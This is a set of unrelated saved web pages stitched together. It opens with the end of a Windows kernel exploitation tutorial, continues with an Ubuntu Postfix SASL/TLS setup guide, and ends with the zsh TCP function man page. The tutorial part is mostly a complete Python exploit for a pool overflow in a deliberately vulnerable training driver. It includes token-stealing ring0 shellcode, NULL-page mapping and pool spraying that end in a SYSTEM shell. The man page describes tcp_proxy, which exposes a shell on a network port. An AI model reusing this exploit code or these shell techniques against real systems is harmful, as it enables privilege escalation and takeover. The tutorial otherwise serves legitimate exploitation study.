xrange\(5000\): spray\_event2.append\(kernel32.CreateEventA\(None, False, False, None\)\) for i in xrange\(0, len\(spray\_event2\), 16\): for j in xrange\(0, 8, 1\): kernel32.CloseHandle\(spray\_event2\[i+j\]\) kernel32.DeviceIoControl\(hevDevice, 0x22200f, buf\_ad, len\(buf\), None, 0, byref\(c\_ulong\(\)\), None\) if \_\_name\_\_ == "\_\_main\_\_": main\(\)  
---|---  
<img src='img/pool11.png' width='654' height='369' />

Our Vulnerable buffer now sits flush between our Event objects, in the hole
that we created.

<img src='img/pool12.png' width='402' height='137' />

The TypeIndex is modified from 0xc to 0x0

<img src='img/pool13.png' width='477' height='351' />

Bingo, our shellcode address resides in the desired address.

Now, we just need to call the _CloseProcedure_ , load our shellcode in
_VirtualAlloc_ memory, and our shellcode should run perfectly fine. The script
below is the final exploit:

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116 | import ctypes, sys, structfrom ctypes import \*from subprocess import \* def main\(\): kernel32 = windll.kernel32 ntdll = windll.ntdll hevDevice = kernel32.CreateFileA\("\\\\\\\\.\\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None\) if not hevDevice or hevDevice == -1: print "\*\*\* Couldn't get Device Driver handle." sys.exit\(0\) \#Defining the ring0 shellcode and loading it in VirtualAlloc. shellcode = bytearray\( "\x90\x90\x90\x90" \# NOP Sled "\x60" \# pushad "\x64\xA1\x24\x01\x00\x00" \# mov eax, fs:\[KTHREAD\_OFFSET\] "\x8B\x40\x50" \# mov eax, \[eax + EPROCESS\_OFFSET\] "\x89\xC1" \# mov ecx, eax \(Current \_EPROCESS structure\) "\x8B\x98\xF8\x00\x00\x00" \# mov ebx, \[eax + TOKEN\_OFFSET\] "\xBA\x04\x00\x00\x00" \# mov edx, 4 \(SYSTEM PID\) "\x8B\x80\xB8\x00\x00\x00" \# mov eax, \[eax + FLINK\_OFFSET\] "\x2D\xB8\x00\x00\x00" \# sub eax, FLINK\_OFFSET "\x39\x90\xB4\x00\x00\x00" \# cmp \[eax + PID\_OFFSET\], edx "\x75\xED" \# jnz "\x8B\x90\xF8\x00\x00\x00" \# mov edx, \[eax + TOKEN\_OFFSET\] "\x89\x91\xF8\x00\x00\x00" \# mov \[ecx + TOKEN\_OFFSET\], edx "\x61" \# popad "\xC2\x10\x00" \# ret 16 \) ptr = kernel32.VirtualAlloc\(c\_int\(0\), c\_int\(len\(shellcode\)\), c\_int\(0x3000\),c\_int\(0x40\)\) buff = \(c\_char \* len\(shellcode\)\).from\_buffer\(shellcode\) kernel32.RtlMoveMemory\(c\_int\(ptr\), buff, c\_int\(len\(shellcode\)\)\) print "\[+\] Pointer for ring0 shellcode: \{0\}".format\(hex\(ptr\)\) \#Allocating the NULL page, Virtual Address Space: 0x0000 - 0x1000. \#The base address is given as 0x1, which will be rounded down to the next host. \#We'd be allocating the memory of Size 0x100 \(256\). print "\n\[+\] Allocating/Mapping NULL page..." null\_status = ntdll.NtAllocateVirtualMemory\(0xFFFFFFFF, byref\(c\_void\_p\(0x1\)\), 0, byref\(c\_ulong\(0x100\)\), 0x3000, 0x40\) if null\_status \!= 0x0: print "\t\[+\] Failed to allocate NULL page..." sys.exit\(-1\) else: print "\t\[+\] NULL Page Allocated" \#Writing the ring0 pointer into the location in the mapped NULL page, so as to call the CloseProcedure @ 0x60. print "\n\[+\] Writing ring0 pointer \{0\} in location 0x60...".format\(hex\(ptr\)\) if not kernel32.WriteProcessMemory\(0xFFFFFFFF, 0x60, byref\(c\_void\_p\(ptr\)\), 0x4, byref\(c\_ulong\(\)\)\): print "\t\[+\] Failed to write at 0x60 location" sys.exit\(-1\) \#Defining the Vulnerable User Buffer. \#Length 0x1f8 \(504\), and "corrupting" the adjacent header to point to our NULL page. buf = "A" \* 504 buf += struct.pack\("L", 0x04080040\) buf += struct.pack\("L", 0xEE657645\) buf += struct.pack\("L", 0x00000000\) buf += struct.pack\("L", 0x00000040\) buf += struct.pack\("L", 0x00000000\) buf += struct.pack\("L", 0x00000000\) buf += struct.pack\("L", 0x00000001\) buf += struct.pack\("L", 0x00000001\) buf += struct.pack\("L", 0x00000000\) buf += struct.pack\("L", 0x00080000\) buf\_ad = id\(buf\) + 20 \#Spraying the Non-Paged Pool with Event Objects. Creating two large enough \(10000 and 5000\) chunks. spray\_event1 = spray\_event2 = \[\] print "\n\[+\] Spraying Non-Paged Pool with Event Objects..." for i in xrange\(10000\): spray\_event1.append\(kernel32.CreateEventA\(None, False, False, None\)\) print "\t\[+\] Sprayed 10000 objects." for i in xrange\(5000\): spray\_event2.append\(kernel32.CreateEventA\(None, False, False, None\)\) print "\t\[+\] Sprayed 5000 objects." \#Creating holes in the sprayed region for our Vulnerable User Buffer to fit in. print "\n\[+\] Creating holes in the sprayed region..." for i in xrange\(0, len\(spray\_event2\), 16\): for j in xrange\(0, 8, 1\): kernel32.CloseHandle\(spray\_event2\[i+j\]\) kernel32.DeviceIoControl\(hevDevice, 0x22200f, buf\_ad, len\(buf\), None, 0, byref\(c\_ulong\(\)\), None\) \#Closing the Handles by freeing the Event Objects, ultimately executing our shellcode. print "\n\[+\] Calling the CloseProcedure..." for i in xrange\(0, len\(spray\_event1\)\): kernel32.CloseHandle\(spray\_event1\[i\]\) for i in xrange\(8, len\(spray\_event2\), 16\): for j in xrange\(0, 8, 1\): kernel32.CloseHandle\(spray\_event2\[i + j\]\) print "\n\[+\] nt authority\system shell incoming" Popen\("start cmd", shell=True\) if \_\_name\_\_ == "\_\_main\_\_": main\(\)  
---|---  
<img src='img/pool14.png' width='658' height='739' />

And we get our usual _nt authority\system_ shell:

<img src='img/pool_shell.png' width='1247' height='550' />

Posted in Kernel, TutorialTagged Exploitation, Kernel, Pool Overflow,
Tutorial, Windows

  

# Postfix - Community Ubuntu Documentation

**Created:**| _2/11/2010 9:23:53 PM_  
---|---  
**Updated:**| _2/11/2010 9:24:06 PM_  
**Author:**| __  
**Tags:**| _setup Linux_  
  

  * Postfix

# Introduction

Inhaltsverzeichnis

  1. Introduction
  2. Installation
  3. Configuration
  4. Authentication
  5. Testing
  6. Troubleshooting
    1. Remove Postfix from chroot
    2. Configuring saslauthd to Default
  7. Using Port 587 for Secure Submission
  8. Other Postfix Guides
    1. Postfix Basic Setup
    2. Postfix Virtual Mailbox and Antivirus Filtering
    3. Postfix Setup For Sender Policy Framework \(SPF\) Checking
    4. Postfix Setup For DKIM email signing and verification
    5. Postfix Setup For DomainKeys email signing and verification
    6. Add Dspam to Postfix
    7. Postfix Complete Solution
    8. Dovecot LDAP
    9. Dovecot SASL

  
---  
Postfix is the default `Mail Transfer Agent` \(MTA\) for Ubuntu. It is in
Ubuntu's main repository, which means that it receives security updates. This
guide explains how to install and configure postfix and set it up as an SMTP
server using a secure connection.

# Installation

In order to install Postfix with SMTP-AUTH and TLS, first install the
**postfix** package from the Main repository using your favorite package
manager. For example:

[code]

    sudo aptitude install postfix
    
[/code]

Simply accept the defaults when the installation process asks questions. The
configuration will be done in greater detail in the next stage.

# Configuration

From a terminal prompt:

[code]

    sudo dpkg-reconfigure postfix
    
[/code]

Insert the following details when asked \(replacing server1.example.com with
your domain name if you have one\):

  * General type of mail configuration: **Internet Site**
  * NONE  _doesn't appear to be requested in current config_
  * System mail name: **server1.example.com**
  * Root and postmaster mail recipient: **< admin\_user\_name>**
  * Other destinations for mail: **server1.example.com, example.com, localhost.example.com, localhost**
  * Force synchronous updates on mail queue?: **No**
  * Local networks: **127.0.0.0/8**
  * Yes  _doesn't appear to be requested in current config_
  * Mialbox size limit \(bytes\): **0**
  * Local address extension character: **+**
  * Internet protocols to use: **all**

Now is a good time to decide which mailbox format you want to use. By default
Postifx will use mbox for the mailbox format. Rather than editing the
configuration file directly, you can use the postconf command to configure all
postfix parameters. The configuration parameters will be stored in
/etc/postfix/main.cf file. Later if you wish to re-configure a particular
parameter, you can either run the command or change it manually in the file.

To configure the mailbox format for Maildir:

[code]

    sudo postconf -e 'home_mailbox = Maildir/'
    
[/code]

You may need to issue this as well:

[code]

    sudo postconf -e 'mailbox_command ='
    
[/code]

**Note:** This will place new mail in /home/username/Maildir so you will need
to configure your Mail Delivery Agent to use the same path.

Configure Postfix to do SMTP AUTH using SASL \(saslauthd\):

[code]

    sudo postconf -e 'smtpd_sasl_local_domain ='
    sudo postconf -e 'smtpd_sasl_auth_enable = yes'
    sudo postconf -e 'smtpd_sasl_security_options = noanonymous'
    sudo postconf -e 'broken_sasl_auth_clients = yes'
    sudo postconf -e 'smtpd_recipient_restrictions = permit_sasl_authenticated,permit_mynetworks,reject_unauth_destination'
    sudo postconf -e 'inet_interfaces = all'
    
[/code]

Next edit `/etc/postfix/sasl/smtpd.conf` and add the following lines:

[code]

    pwcheck_method: saslauthd
    mech_list: plain login
    
[/code]

Generate certificates to be used for TLS encryption and/or certificate
Authentication:

[code]

    touch smtpd.key
    chmod 600 smtpd.key
    openssl genrsa 1024 > smtpd.key
    openssl req -new -key smtpd.key -x509 -days 3650 -out smtpd.crt # has prompts
    openssl req -new -x509 -extensions v3_ca -keyout cakey.pem -out cacert.pem -days 3650 # has prompts
    sudo mv smtpd.key /etc/ssl/private/
    sudo mv smtpd.crt /etc/ssl/certs/
    sudo mv cakey.pem /etc/ssl/private/
    sudo mv cacert.pem /etc/ssl/certs/
    
[/code]

Configure Postfix to do TLS encryption for both incoming and outgoing mail:

[code]

    sudo postconf -e 'smtp_tls_security_level = may'
    sudo postconf -e 'smtpd_tls_security_level = may'
    sudo postconf -e 'smtpd_tls_auth_only = no'
    sudo postconf -e 'smtp_tls_note_starttls_offer = yes'
    sudo postconf -e 'smtpd_tls_key_file = /etc/ssl/private/smtpd.key'
    sudo postconf -e 'smtpd_tls_cert_file = /etc/ssl/certs/smtpd.crt'
    sudo postconf -e 'smtpd_tls_CAfile = /etc/ssl/certs/cacert.pem'
    sudo postconf -e 'smtpd_tls_loglevel = 1'
    sudo postconf -e 'smtpd_tls_received_header = yes'
    sudo postconf -e 'smtpd_tls_session_cache_timeout = 3600s'
    sudo postconf -e 'tls_random_source = dev:/dev/urandom'
    sudo postconf -e 'myhostname = server1.example.com' # remember to change this to yours
    
[/code]

The file /etc/postfix/main.cf should now look like this:

[code]

    # See /usr/share/postfix/main.cf.dist for a commented, more complete version
    
    smtpd_banner = $myhostname ESMTP $mail_name (Ubuntu)
    biff = no
    
    # appending .domain is the MUA's job.
    append_dot_mydomain = no
    
    # Uncomment the next line to generate "delayed mail" warnings
    #delay_warning_time = 4h
    
    myhostname = server1.example.com
    alias_maps = hash:/etc/aliases
    alias_database = hash:/etc/aliases
    myorigin = /etc/mailname
    mydestination = server1.example.com, example.com, localhost.example.com, localhost
    relayhost =
    mynetworks = 127.0.0.0/8
    mailbox_command = procmail -a "$EXTENSION"
    mailbox_size_limit = 0
    recipient_delimiter = +
    inet_interfaces = all
    smtpd_sasl_local_domain =
    smtpd_sasl_auth_enable = yes
    smtpd_sasl_security_options = noanonymous
    broken_sasl_auth_clients = yes
    smtpd_recipient_restrictions = permit_sasl_authenticated,permit_mynetworks,reject_unauth_destination
    smtpd_tls_auth_only = no
    #Use these on Postfix 2.2.x only
    #smtp_use_tls = yes
    #smtpd_use_tls = yes
    #For Postfix 2.3 or above use:
    smtp_tls_security_level = may
    smtpd_tls_security_level = may
    smtp_tls_note_starttls_offer = yes
    smtpd_tls_key_file = /etc/ssl/private/smtpd.key
    smtpd_tls_cert_file = /etc/ssl/certs/smtpd.crt
    smtpd_tls_CAfile = /etc/ssl/certs/cacert.pem
    smtpd_tls_loglevel = 1
    smtpd_tls_received_header = yes
    smtpd_tls_session_cache_timeout = 3600s
    tls_random_source = dev:/dev/urandom
    
[/code]

Restart the postfix daemon like this:

[code]

    sudo /etc/init.d/postfix restart
    
[/code]

# Authentication

The next steps are to configure Postfix to use SASL for SMTP AUTH.

First you will need to install the **libsasl2-2** and **sasl2-bin** from the
Main repository \[i.e. sudo apt-get install them both\].

**Note:** if you are using Ubuntu 6.06 \(Dapper Drake\) the package name is
**libsasl2**.

We have to change a few things to make it work properly. Because Postfix runs
chrooted in  _**/var/spool/postfix**_ we have change a couple paths to live in
the false root. \(ie.  _**/var/run/saslauthd**_ becomes
_**/var/spool/postfix/var/run/saslauthd**_\):

  
<img src='img/Temp2_6289.png' alt='IconsPage/warning.png' /> **Note:** by
changing the **saslauthd** path other applications that use saslauthd may be
affected.  

First we edit /etc/default/saslauthd in order to activate saslauthd. Remove \#
in front of START=yes, add the PWDIR, PARAMS, and PIDFILE lines and edit the
OPTIONS line at the end:

[code]

    # This needs to be uncommented before saslauthd will be run automatically
    START=yes
    
    PWDIR="/var/spool/postfix/var/run/saslauthd"
    PARAMS="-m ${PWDIR}"
    PIDFILE="${PWDIR}/saslauthd.pid"
    
    # You must specify the authentication mechanisms you wish to use.
    # This defaults to "pam" for PAM support, but may also include
    # "shadow" or "sasldb", like this:
    # MECHANISMS="pam shadow"
    
    MECHANISMS="pam"
    
    # Other options (default: -c)
    # See the saslauthd man page for information about these options.
    #
    # Example for postfix users: "-c -m /var/spool/postfix/var/run/saslauthd"
    # Note: See /usr/share/doc/sasl2-bin/README.Debian
    #OPTIONS="-c"
    
    #make sure you set the options here otherwise it ignores params above and will not work
    OPTIONS="-c -m /var/spool/postfix/var/run/saslauthd"
    
[/code]

**Note** : If you prefer, you can use "shadow" instead of "pam". This will use
MD5 hashed password transfer and is perfectly secure. The username and
password needed to authenticate will be those of the users on the system you
are using on the server.

Next, we update the dpkg "state" of /var/spool/postfix/var/run/saslauthd. The
saslauthd init script uses this setting to create the missing directory with
the appropriate permissions and ownership:

[code]

    dpkg-statoverride --force --update --add root sasl 755 /var/spool/postfix/var/run/saslauthd
    
[/code]

This may report an error that "--update given" and the
"/var/spool/postfix/var/run/saslauthd" directory does not exist. You can
ignore this because when you start saslauthd next it will be created.

Finally, start saslauthd:

[code]

    sudo /etc/init.d/saslauthd start
    
[/code]

# Testing

To see if SMTP-AUTH and TLS work properly now run the following command:

telnet localhost 25

After you have established the connection to your postfix mail server type

ehlo localhost

If you see the lines

[code]

    250-STARTTLS
    250-AUTH
    
[/code]

among others, everything is working.

Type `quit` to return to the system's shell.

# Troubleshooting

## Remove Postfix from chroot

If you run into issues while running Postfix you may be asked to remove
Postfix from chroot to better diagnose the problem. In order to do that you
will need to edit `/etc/postfix/master.cf` locate the following line:

[code]

    smtp      inet  n       -       -       -       -       smtpd
    
[/code]

and modify it as follows:

[code]

    smtp      inet  n       -       n       -       -       smtpd
    
[/code]

Then restart Postfix:

[code]

    sudo /etc/init.d/postfix restart
    
[/code]

## Configuring saslauthd to Default

If you don't want to run Postfix in a chroot, or you'd like to not use chroot
for troubleshooting purposes you will probably also want to
return**saslauthd** back to its default configuration.

The first step in accomplishing this is to edit `/etc/default/saslauthd`
comment the following lines we added above:

[code]

    #PWDIR="/var/spool/postfix/var/run/saslauthd"
    #PARAMS="-m ${PWDIR}"
    #PIDFILE="${PWDIR}/saslauthd.pid"
    
[/code]

Then return the saslauthd dpkg "state" to its default location:

[code]

    dpkg-statoverride --force --update --add root sasl 755 /var/run/saslauthd
    
[/code]

And restart saslauthd:

[code]

    sudo /etc/init.d/saslauthd restart
    
[/code]

# Using Port 587 for Secure Submission

If you want to use port 587 as the submission port for SMTP mail rather than
25 \(many ISPs block port 25\), you will need to edit /etc/postfix/master.cf
to uncomment the relevant line for port 587 there.

# Other Postfix Guides

These guides will teach you how to setup Postfix mail servers, from basic to
advanced.

## Postfix Basic Setup

Postfix Basic Setup Howto will teach you the concepts of Posfix and how you
can get Postfix basics set up and running. If you are new to Postfix it is
recomended to follow this guide first.

## Postfix Virtual Mailbox and Antivirus Filtering

Postfix Virtual MailBox ClamSmtp Howto will teach you how to setup virtual
mailboxes using non-Linux accounts where each user will authenticate using
their email address with Dovecot POP3/IMAP server and ClamSMTP Antivirus to
filter both incoming and out going mails for known viruses.

## Postfix Setup For Sender Policy Framework \(SPF\) Checking

Postfix SPF will show you how to add SPF checking to your existing Postfix
setup. This allows your server to reject mail from unauthorized sources.

## Postfix Setup For DKIM email signing and verification

Postfix DKIM will guide you through the setup process of dkim-milter for you
existing Postfix installation. This will allow your server to sign and verify
emails using DKIM.

## Postfix Setup For DomainKeys email signing and verification

Postfix DomainKeys will guide you through the setup process of dk-filter for
you existing Postfix installation. This will allow your server to sign and
verify emails using Postfix/DomainKeys.

## Add Dspam to Postfix

Postfix Dspam will guide you through the setup process of dspam for you
existing Postfix installation. This will enable on your mail server high
quality statistical spam filter Dspam.

## Postfix Complete Solution

Postfix Complete Virtual Mail System Howto will help you if you are managing a
large number of virtual domains at an ISP level or in a large corporation
where you mange few hundred or thousand mail domains. This guide is
appropriate if you are looking a complete solution with:

  * Web based system administration
  * Unlimited number of domains
  * Virtual mail users without the need for shell accounts
  * Domain specific user names
  * Mailbox quotas
  * Web access to email accounts
  * Web based interface to change user passwords
  * IMAP and POP3 support
  * Auto responders
  * SMTP Authentication for secure relaying
  * SSL for transport layer security
  * Strong spam filtering
  * Anti-virus filtering
  * Log Analysis

## Dovecot LDAP

The Postfix/DovecotLDAP guide will help you configure Postfix to use Dovecot
as MDA with LDAP users.

## Dovecot SASL

The PostfixDovecotSASL guide will help you configure Postfix to use Dovecot's
SASL implementation. Using Dovecot SASL may be preferable if you want to run
Postfix in a chroot and need to use Cyrus SASL for other services.

**Note:** this guide has been tested on Ubuntu 6.06 \(Dapper\) and Ubuntu 7.10
\(Gutsy\)

# zshtcpsys\(1\): zsh tcp system - Linux man page

**Created:**| _9/8/2011 4:00:29 PM_  
---|---  
**Updated:**| _9/8/2011 4:00:29 PM_  
**Author:**| __  
**Tags:**| _botnets zsh network-security_  
  

# zshtcpsys\(1\) - Linux man page

## Name

zshtcpsys - zsh tcp system

## Description

A module **zsh/net/tcp** is provided to provide network I/O over TCP/IP from
within the shell; see its description in **zshmodules**\(1\) . This manual
page describes a function suite based on the module. If the module is
installed, the functions are usually installed at the same time, in which case
they will be available for autoloading in the default function search path. In
addition to the **zsh/net/tcp** module, the **zsh/zselect** module is used to
implement timeouts on read operations. For troubleshooting tips, consult the
corresponding advice for the **zftp** functions described in
**zshftpsys**\(1\) .

There are functions corresponding to the basic I/O operations open, close,
read and send, named **tcp\_open** etc., as well as a function **tcp\_expect**
for pattern match analysis of data read as input. The system makes it easy to
receive data from and send data to multiple named sessions at once. In
addition, it can be linked with the shell's line editor in such a way that
input data is automatically shown at the terminal. Other facilities available
including logging, filtering and configurable output prompts.

To use the system where it is available, it should be enough to '**autoload -U
tcp\_open** ' and run **tcp\_open** as documented below to start a session.
The **tcp\_open** function will autoload the remaining functions.

## Tcp User Functions

**Basic I/O**

**tcp\_open \[-qz\]** _host port_ **\[** _sess_ **\]**

**tcp\_open \[-qz\] \[ -s** _sess_ **| -l** _sess_**,... \] ...**

**tcp\_open \[-qz\] \[-a** _fd_ **| -f** _fd_ **\] \[** _sess_ **\]**

    Open a new session. In the first and simplest form, open a TCP connection to host _host_ at port _port_ ; numeric and symbolic forms are understood for both. 
    If _sess_ is given, this becomes the name of the session which can be used to refer to multiple different TCP connections. If _sess_ is not given, the function will invent a numeric name value \(note this is _not_ the same as the file descriptor to which the session is attached\). It is recommended that session names not include 'funny' characters, where funny characters are not well-defined but certainly do not include alphanumerics or underscores, and certainly do include whitespace. 
In the second case, one or more sessions to be opened are given by name. A
single session name is given after **-s** and a comma-separated list after
**-l** ; both options may be repeated as many times as necessary. The host and
port are read from the file **.ztcp\_sessions** in the same directory as the
user's zsh initialisation files, i.e. usually the home directory, but
**$ZDOTDIR** if that is set. The file consists of lines each giving a session
name and the corresponding host and port, in that order \(note the session
name comes first, not last\), separated by whitespace.

The third form allows passive and fake TCP connections. If the option **-a**
is used, its argument is a file descriptor open for listening for connections.
No function front-end is provided to open such a file descriptor, but a call
to '**ztcp -l** _port_ ' will create one with the file descriptor stored in
the parameter **$REPLY**. The listening port can be closed with '**ztcp -c**
_fd_ '. A call to '**tcp\_open -a** _fd_ ' will block until a remote TCP
connection is made to _port_ on the local machine. At this point, a session is
created in the usual way and is largely indistinguishable from an active
connection created with one of the first two forms.

If the option **-f** is used, its argument is a file descriptor which is used
directly as if it were a TCP session. How well the remainder of the TCP
function system copes with this depends on what actually underlies this file
descriptor. A regular file is likely to be unusable; a FIFO \(pipe\) of some
sort will work better, but note that it is not a good idea for two different
sessions to attempt to read from the same FIFO at once.

If the option **-q** is given with any of the three forms, **tcp\_open** will
not print informational messages, although it will in any case exit with an
appropriate status.

If the line editor \(zle\) is in use, which is typically the case if the shell
is interactive, **tcp\_open** installs a handler inside **zle** which will
check for new data at the same time as it checks for keyboard input. This is
convenient as the shell consumes no CPU time while waiting; the test is
performed by the operating system. Giving the option **-z** to any of the
forms of **tcp\_open** prevents the handler from being installed, so data must
be read explicitly. Note, however, this is not necessary for executing
complete sets of send and read commands from a function, as zle is not active
at this point. Generally speaking, the handler is only active when the shell
is waiting for input at a command prompt or in the **vared** builtin. The
option has no effect if zle is not active; '**\[\[ -o zle\]\]** ' will test
for this.

The first session to be opened becomes the current session and subsequent
calls to **tcp\_open** do not change it. The current session is stored in the
parameter **$TCP\_SESS** ; see below for more detail about the parameters used
by the system.

**tcp\_close \[-qn\] \[ -a | -l** _sess_**,... |** _sess_ **... \]**
    Close the named sessions, or the current session if none is given, or all open sessions if **-a** is given. The options **-l** and **-s** are both handled for consistency with **tcp\_open** , although the latter is redundant. 
    If the session being closed is the current one, **$TCP\_SESS** is unset, leaving no current session, even if there are other sessions still open. 
If the session was opened with **tcp\_open -f** , the file descriptor is
closed so long as it is in the range 0 to 9 accessible directly from the
command line. If the option **-n** is given, no attempt will be made to close
file descriptors in this case. The **-n** option is not used for genuine
**ztcp** session; the file descriptors are always closed with the session.

If the option **-q** is given, no informational messages will be printed.

**tcp\_read \[-bdq\] \[ -t** _TO_ **\] \[ -T** _TO_ **\]**

**\[ -a | -u** _fd_ **... | -l** _sess_**,... | -s** _sess_ **...\]**
    Perform a read operation on the current session, or on a list of sessions if any are given with **-u** , **-l** or **-s** , or all open sessions if the option **-a** is given. Any of the **-u** , **-l** or **-s** options may be repeated or mixed together. The **-u** option specifies a file descriptor directly \(only those managed by this system are useful\), the other two specify sessions as described for **tcp\_open** above. 
    The function checks for new data available on all the sessions listed. Unless the **-b** option is given, it will not block waiting for new data. Any one line of data from any of the available sessions will be read, stored in the parameter **$TCP\_LINE** , and displayed to standard output unless **$TCP\_SILENT** contains a non-empty string. When printed to standard output the string **$TCP\_PROMPT** will be shown at the start of the line; the default form for this includes the name of the session being read. See below for more information on these parameters. In this mode, **tcp\_read** can be called repeatedly until it returns status 2 which indicates all pending input from all specified sessions has been handled. 
With the option **-b** , equivalent to an infinite timeout, the function will
block until a line is available to read from one of the specified sessions.
However, only a single line is returned.

The option **-d** indicates that all pending input should be drained. In this
case **tcp\_read** may process multiple lines in the manner given above; only
the last is stored in **$TCP\_LINE** , but the complete set is stored in the
array **$tcp\_lines**. This is cleared at the start of each call to
**tcp\_read**.

The options **-t** and **-T** specify a timeout in seconds, which may be a
floating point number for increased accuracy. With **-t** the timeout is
applied before each line read. With **-T** , the timeout applies to the
overall operation, possibly including multiple read operations if the option
**-d** is present; without this option, there is no distinction between **-t**
and **-T**.

The function does not print informational messages, but if the option **-q**
is given, no error message is printed for a non-existent session.

A return value of 2 indicates a timeout or no data to read. Any other non-zero
return value indicates some error condition.

See **tcp\_log** for how to control where data is sent by **tcp\_read**.

**tcp\_send \[-nq\] \[ -s** _sess_ **| -l** _sess_**,... \]** _data_ **...**

**tcp\_send \[-nq\] -a** _data_ **...**

    Send the supplied data strings to all the specified sessions in turn. The underlying operation differs little from a '**print -r** ' to the session's file descriptor, although it attempts to prevent the shell from dying owing to a **SIGPIPE** caused by an attempt to write to a defunct session. 
    The option **-n** prevents **tcp\_send** from putting a newline at the end of the data strings. 
The remaining options all behave as for **tcp\_read**.

The data arguments are not further processed once they have been passed to
**tcp\_send** ; they are simply passed down to **print -r**.

If the parameter **$TCP\_OUTPUT** is a non-empty string and logging is enabled
then the data sent to each session will be echoed to the log **file**\(s\)
with **$TCP\_OUTPUT** in front where appropriate, much in the manner of
**$TCP\_PROMPT**.

**Session Management**

**tcp\_alias \[-q\]** _alias_**=**_sess_ **...**

**tcp\_alias \[-q\] \[** _alias_ **\] ...**

**tcp\_alias -d \[-q\]** _alias_ **...**

    This function is not particularly well tested. 
    The first form creates an alias for a session name; _alias_ can then be used to refer to the existing session _sess_. As many aliases may be listed as required. 
The second form lists any aliases specified, or all aliases if none.

The third form deletes all the aliases listed. The underlying sessions are not
affected.

The option **-q** suppresses an inconsistently chosen subset of error
messages.

**tcp\_log \[-asc\] \[ -n | -N \] \[** _logfile_ **\]**
    With an argument _logfile_ , all future input from **tcp\_read** will be logged to the named file. Unless **-a** \(append\) is given, this file will first be truncated or created empty. With no arguments, show the current status of logging. 
    With the option **-s** , per-session logging is enabled. Input from **tcp\_read** is output to the file _logfile_._sess_. As the session is automatically discriminated by the filename, the contents are raw \(no **$TCP\_PROMPT**\). The option **-a** applies as above. Per-session logging and logging of all data in one file are not mutually exclusive. 
The option **-c** closes all logging, both complete and per-session logs.

The options **-n** and **-N** respectively turn off or restore output of data
read by **tcp\_read** to standard output; hence '**tcp\_log -cn** ' turns off
all output by **tcp\_read**.

The function is purely a convenient front end to setting the parameters
**$TCP\_LOG** , **$TCP\_LOG\_SESS** , **$TCP\_SILENT** , which are described
below.

**tcp\_rename** _old new_

    Rename session _old_ to session _new_. The old name becomes invalid. 
**tcp\_sess \[** _sess_ **\[** _command_ **... \] \]**

    With no arguments, list all the open sessions and associated file descriptors. The current session is marked with a star. For use in functions, direct access to the parameters **$tcp\_by\_name** , **$tcp\_by\_fd** and **$TCP\_SESS** is probably more convenient; see below. 
    With a _sess_ argument, set the current session to _sess_. This is equivalent to changing **$TCP\_SESS** directly. 
With additional arguments, temporarily set the current session while executing
the string **command ...**. The first argument is re-evaluated so as to expand
aliases etc., but the remaining arguments are passed through as the appear to
**tcp\_sess**. The original session is restored when **tcp\_sess** exits.

**Advanced I/O**

**tcp\_command** _send-options_ **...** _send-arguments_ **...**

    This is a convenient front-end to **tcp\_send**. All arguments are passed to **tcp\_send** , then the function pauses waiting for data. While data is arriving at least every **$TCP\_TIMEOUT** \(default 0.3\) seconds, data is handled and printed out according to the current settings. Status 0 is always returned. 
    This is generally only useful for interactive use, to prevent the display becoming fragmented by output returned from the connection. Within a programme or function it is generally better to handle reading data by a more explicit method. 
**tcp\_expect \[ -q \] \[ -p** _var_ **\] \[ -t** _to_ **| -T** _TO_**\]**

**\[ -a | -s** _sess_ **... | -l** _sess_**,... \]** _pattern_ ... 
    Wait for input matching any of the given _pattern_ s from any of the specified sessions. Input is ignored until an input line matches one of the given patterns; at this point status zero is returned, the matching line is stored in **$TCP\_LINE** , and the full set of lines read during the call to **tcp\_expect** is stored in the array **$tcp\_expect\_lines**. 
    Sessions are specified in the same way as **tcp\_read** : the default is to use the current session, otherwise the sessions specified by **-a** , **-s** , or **-l** are used. 
Each _pattern_ is a standard zsh extended-globbing pattern; note that it needs
to be quoted to avoid it being expanded immediately by filename generation. It
must match the full line, so to match a substring there must be a '**\*** ' at
the start and end. The line matched against includes the **$TCP\_PROMPT**
added by **tcp\_read**. It is possible to include the globbing flags '**\#b**
' or '**\#m** ' in the patterns to make backreferences available in the
parameters **$MATCH** , **$match** , etc., as described in the base zsh
documentation on pattern matching.

Unlike **tcp\_read** , the default behaviour of **tcp\_expect** is to block
indefinitely until the required input is found. This can be modified by
specifying a timeout with **-t** or **-T** ; these function as in
**tcp\_read** , specifying a per-read or overall timeout, respectively, in
seconds, as an integer or floating-point number. As **tcp\_read** , the
function returns status 2 if a timeout occurs.

The function returns as soon as any one of the patterns given match. If the
caller needs to know which of the patterns matched, the option **-p** _var_
can be used; on return, **$var** is set to the number of the pattern using
ordinary zsh indexing, i.e. the first is 1, and so on. Note the absence of a
'**$** ' in front of _var_. To avoid clashes, the parameter cannot begin with
'**\_expect** '.

The option **-q** is passed directly down to **tcp\_read**.

As all input is done via **tcp\_read** , all the usual rules about output of
lines read apply. One exception is that the parameter **$tcp\_lines** will
only reflect the line actually matched by **tcp\_expect** ; use
**$tcp\_expect\_lines** for the full set of lines read during the function
call.

**tcp\_proxy**

    This is a simple-minded function to accept a TCP connection and execute a command with I/O redirected to the connection. Extreme caution should be taken as there is no security whatsoever and this can leave your computer open to the world. Ideally, it should only be used behind a firewall. 
    The first argument is a TCP port on which the function will listen. 
The remaining arguments give a command and its arguments to execute with
standard input, standard output and standard error redirected to the file
descriptor on which the TCP session has been accepted. If no command is given,
a new zsh is started. This gives everyone on your network direct access to
your account, which in many cases will be a bad thing.

The command is run in the background, so **tcp\_proxy** can then accept new
connections. It continues to accept new connections until interrupted.

**tcp\_spam \[-ertv\] \[ -a | -s** _sess_ **| -l** _sess_**,... \]** _cmd_ **...**
    Execute '_cmd_ **...** ' for each session in turn. Note this executes the command and arguments; it does not send the command line as data unless the **-t** \(transmit\) option is given. 
    The sessions may be selected explicitly with the standard **-a** , **-s** or **-l** options, or may be chosen implicitly. If none of the three options is given the rules are: first, if the array **$tcp\_spam\_list** is set, this is taken as the list of sessions, otherwise all sessions are taken. Second, any sessions given in the array **$tcp\_no\_spam\_list** are removed from the list of sessions. 
Normally, any sessions added by the '**-a** ' flag or when all sessions are
chosen implicitly are spammed in alphabetic order; sessions given by the
**$tcp\_spam\_list** array or on the command line are spammed in the order
given. The **-r** flag reverses the order however it was arrived it.

